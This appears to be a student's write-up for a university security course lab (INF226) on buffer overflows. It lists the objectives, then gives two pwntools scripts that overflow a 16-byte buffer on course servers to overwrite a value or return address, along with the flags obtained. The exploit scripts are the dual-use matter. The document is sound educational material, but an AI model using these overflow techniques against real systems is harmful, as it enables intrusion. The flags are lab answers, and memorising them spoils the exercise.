**Objectives**

You should be able to explain

* how buffer overflow attacks work
* how the computer knows which code to run
* how function calls work
* how code and data for a program is represented on disk and in memory

And be able to

* identify data on a stack frame
* find memory addresses of code/data (**symbols**)
* use pwntools to connect and communicate with a program, locally or on a network
* have a rough idea on how to mitigate/prevent buffer overflow attacks.

For each exercise, include

1. Short description of vulnerability
2. Source code showing how to exploit the vulnerability
   * e.g. Python script showing exploit through pwntools
3. Description of how the exploit works/what it does
   * Can be in the form of comments
4. The flag retrieve from the server
   * It'll be a string on the form INF226{...}.

**Task 00**

#!/usr/bin/python3

from pwn import \*

io = remote('inf226.puffling.no', 7000)

line = b'A' \* 16 + b'\xee\xff\xc0\x00'

io.sendline(line)

print(io.recvall())

**Output**

A screen shot of a computer

Description automatically generated

As the output shows, the flag for task 00 is INF226{s33kret c0de}.

**Task 01**

#!/usr/bin/python3

from pwn import \*

io = remote('INF226.puffling.no', 7001)

# 00000000004011d6 <getFlag> from objdump -d ./01

line = b'A' \* 16 + b'\xd6\x11\x40\x00\x00\x00\x00\x00'

io.sendline(line)

print(io.recvall())

NTS: The ‘line’ variable does not have to be that specific address… idk why. Also works with others. Figure out why somehow.

**Output**

A screen shot of a computer

Description automatically generated

As the output shows, the flag for task 01 is INF226{d3 h0ly gra1l}.